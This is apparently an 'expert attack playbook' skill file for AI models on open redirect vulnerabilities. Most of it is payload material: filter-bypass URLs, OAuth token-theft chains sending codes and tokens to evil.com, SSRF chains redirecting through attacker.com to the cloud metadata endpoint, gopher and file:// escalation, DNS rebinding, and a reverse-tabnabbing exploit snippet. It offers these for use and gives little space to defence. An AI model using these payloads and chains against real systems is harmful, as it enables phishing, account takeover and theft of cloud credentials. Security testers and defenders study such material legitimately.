SKILL: Open Redirect — Expert Attack Playbook
AI LOAD INSTRUCTION: Open redirect techniques. Covers parameter-based redirects, JavaScript sinks, filter bypass, and chaining with phishing, CSRF Referer bypass, OAuth token theft, and SSRF. Often underrated but critical for phishing and as a building block in multi-step exploit chains. 1. CORE CONCEPT Open redirect occurs when an application redirects users to a URL derived from user input without validation. The trusted domain acts as a "launchpad" for phishing or token theft. https://trusted.com/redirect?url=https://evil.com → User sees trusted.com in the link → clicks → lands on evil.com 2. FINDING REDIRECT PARAMETERS Common Parameter Names ?url= ?redirect= ?next= ?dest= ?destination= ?redir= ?return= ?returnUrl= ?go= ?forward= ?target= ?out= ?continue= ?link= ?view= ?to= ?ref= ?callback= ?path= ?rurl= Server-Side Sinks HTTP 301/302 Location header PHP: header("Location: $input") Python: redirect(input) Java: response.sendRedirect(input) Node: res.redirect(input) Client-Side (JavaScript) Sinks window . location = input window . location . href = input window . location . replace ( input ) window . open ( input ) document . location = input 3. FILTER BYPASS TECHNIQUES Validation Bypass Checks if URL starts with / //evil.com (protocol-relative) Checks domain contains trusted.com evil.com?trusted.com or trusted.com.evil.com Blocks http:// //evil.com , https://evil.com , \/\/evil.com Checks URL starts with https://trusted.com https://trusted.com@evil.com (userinfo) Regex ^/[^/] (relative only) /\evil.com (backslash treated as path in some browsers) Django endswith('target.com') http://evil.com/www.target.com — URL path ends with target domain Whitelist by domain suffix Subdomain takeover on *.trusted.com

Protocol-relative:

//evil.com

Userinfo bypass:

https://trusted.com@evil.com

Backslash trick:

/\evil.com /\/evil.com

URL encoding:

https://trusted.com/%2F%2Fevil.com

Django endswith bypass:

http://evil.com/www.target.com http://evil.com?target.com

Trusted site double-redirect (e.g., via Baidu link service):

https://link.target.com/?url=http://evil.com

Special character confusion:

http://evil.com#@trusted.com # fragment as authority http://evil.com?trusted.com # query string confusion http://trusted.com%00@evil.com # null byte truncation

Tab/newline in URL (browser ignores whitespace):

java%09script:alert(1) 4. EXPLOITATION CHAINS Phishing Amplification Attacker sends: https://bigbank.com/redirect?url=https://bigbank-login.evil.com Victim sees bigbank.com → clicks → enters credentials on clone site. OAuth Token Theft If OAuth redirect_uri allows open redirect on the authorized domain: /authorize?redirect_uri=https://trusted.com/redirect?url=https://evil.com → Authorization code or token appended to evil.com URL → Attacker captures token from URL fragment or query CSRF Referer Bypass Some CSRF protections check Referer header contains trusted domain: 1. Attacker page links to: https://trusted.com/redirect?url=https://trusted.com/change-email 2. Redirect preserves Referer from trusted.com 3. CSRF protection passes because Referer = trusted.com SSRF via Redirect When server follows redirects: ?url=https://attacker.com/redirect-to-internal

attacker.com returns 302 → http://169.254.169.254/

Server follows redirect → SSRF to metadata endpoint

TESTING CHECKLIST □ Identify all URL parameters that trigger redirects □ Test external domain: ?url=https://evil.com □ Test protocol-relative: ?url=//evil.com □ Test userinfo bypass: ?url=https://trusted.com@evil.com □ Test backslash: ?url=/\evil.com □ Test JavaScript sink: ?url=javascript:alert(1) (DOM-based) □ Check OAuth flows for redirect_uri open redirect □ Verify if redirect preserves auth tokens in URL
TABNABBING (REVERSE TABNABBING) Concept When a link opens a new tab with target="_blank" WITHOUT rel="noopener" : The new page can access window.opener It can redirect the ORIGINAL page: window.opener.location = "https://phishing.com/login" User returns to "original" tab → sees fake login page → enters credentials Detection

< a href = " https://external.com " target = " _blank "

Click here </ a

< a href = " https://external.com " target = " _blank " rel = " noopener noreferrer "

Click here </ a

Exploitation // On the attacker-controlled page (opened via target="_blank"): if ( window . opener ) { window . opener . location = "https://phishing.com/fake-login.html" ; } Where to Look User-generated content with links (forums, comments, profiles) target="_blank" links to external domains PDF viewers, document previews opening in new tabs 7. OPEN REDIRECT → OAUTH TOKEN THEFT (DETAILED CHAINS) 7.1 OAuth Implicit Flow In the implicit flow, the access token is returned in the URL fragment (

access_token=...

). If redirect_uri allows an open redirect on the authorized domain: /authorize?response_type=token &client_id=CLIENT &redirect_uri=https://target.com/callback/../redirect?url=https://evil.com &scope=read Flow: 1. User authenticates → authorization server redirects to: https://target.com/redirect?url=https://evil.com#access_token=SECRET 2. Open redirect fires → browser navigates to: https://evil.com#access_token=SECRET 3. Attacker page reads location.hash → captures access token 7.2 Authorization Code Flow The authorization code is sent as a query parameter. If the redirect chain preserves query parameters: /authorize?response_type=code &client_id=CLIENT &redirect_uri=https://target.com/callback%2f..%2fredirect%3furl%3dhttps://evil.com Flow: 1. Authorization server validates redirect_uri prefix → matches https://target.com/ 2. Redirects to: https://target.com/redirect?url=https://evil.com&code=AUTH_CODE 3. Open redirect sends victim to: https://evil.com?code=AUTH_CODE 4. Attacker exchanges code for access token 7.3 OIDC id_token Fragment Leak /authorize?response_type=id_token &client_id=CLIENT &redirect_uri=https://target.com/cb &nonce=NONCE If redirect_uri points to open redirect endpoint: → id_token in fragment sent to attacker → Attacker has signed identity assertion → Can authenticate as victim on any RP accepting this IdP 7.4 redirect_uri validation bypass patterns redirect_uri=https://target.com/callback/../open-redirect?url=evil.com redirect_uri=https://target.com/callback?next=https://evil.com redirect_uri=https://target.com/callback%23@evil.com redirect_uri=https://target.com/callback/../../redirect redirect_uri=https://target.com/callback#@evil.com 8. OPEN REDIRECT → SSRF CHAIN Server-side redirect following When a server-side component follows HTTP redirects (e.g., URL preview, link unfurler, webhook, image fetcher): 1. Submit URL to server-side fetcher: http://attacker.com/redirect 2. attacker.com responds: 302 Location: http://169.254.169.254/latest/meta-data/ 3. Server follows redirect → SSRF to cloud metadata endpoint 4. Response (IAM credentials) returned to attacker or visible in preview Multi-hop redirect for filter bypass 1. Server blocks direct requests to 169.254.169.254 2. Submit: http://attacker.com/r1 3. r1 → 302 → http://attacker.com/r2 (same domain, passes filter) 4. r2 → 302 → http://169.254.169.254/ (internal, filter not re-checked) DNS rebinding variant 1. attacker.com resolves to attacker's public IP (TTL=0) 2. Server resolves attacker.com → public IP → passes SSRF filter 3. Connection established, but HTTP redirect points to attacker.com again 4. Second DNS resolution: attacker.com now resolves to 169.254.169.254 5. Server follows redirect to internal address Scope escalation via redirect protocols http://attacker.com/redirect → gopher://127.0.0.1:6379/... (Redis SSRF) http://attacker.com/redirect → file:///etc/passwd (local file read) http://attacker.com/redirect → dict://127.0.0.1:11211/ (Memcached) Not all HTTP clients follow cross-protocol redirects, but curl (default) and some libraries do. 9. URL PARSER CONFUSION FOR REDIRECT BYPASS When a redirect validation function parses the URL differently from the browser or server that ultimately processes it: Protocol-relative URL //attacker.com → Browser: https://attacker.com (inherits current page protocol) → Some validators: relative path "/attacker.com" (wrong) Backslash confusion \/\/attacker.com /\/attacker.com → Many browsers normalize \ to / in URLs → Validators treating \ as path character may allow it Userinfo section abuse //attacker.com\@target.com → Browser: navigates to attacker.com (@ is userinfo delimiter) → Validator sees "target.com" in the string → passes allowlist check //target.com@attacker.com → Browser: userinfo=target.com, host=attacker.com → Validator checks "starts with target.com" → passes https://target.com%2F@attacker.com → URL-decoded: target.com/ as userinfo, host=attacker.com Double encoding //attacker%252ecom → First decode: //attacker%2ecom (passes validator) → Second decode (by server/browser): //attacker.com (actual redirect) CRLF injection + redirect /%0d%0aLocation:%20https://attacker.com → If server reflects the path in a header context: HTTP/1.1 302 Found Location: / Location: https://attacker.com ← injected header wins Fragment confusion https://target.com#@attacker.com → Browser: host=target.com, fragment=@attacker.com → But some JS-based redirects: window.location = url → may process differently https://attacker.com#.target.com → Validator: sees "target.com" in string → passes → Browser: navigates to attacker.com (fragment ignored in navigation) Special characters https://attacker.com%E3%80%82target.com → Unicode ideographic full stop (U+3002) — some parsers treat as dot → Browser may normalize differently than validator https://attacker。com (U+3002 fullwidth period) https://attacker．com (U+FF0E fullwidth full stop) Combined URL parser differential table Payload Validator Sees Browser Navigates To //evil.com Relative path https://evil.com \/\/evil.com Path \/\/evil.com https://evil.com //evil.com\@target.com Contains target.com https://evil.com //target.com@evil.com Starts with target.com https://evil.com /%0d%0aLocation: https://evil.com Path string Header injection → redirect //evil%252ecom evil%2ecom (not a domain) evil.com (after double decode)

安装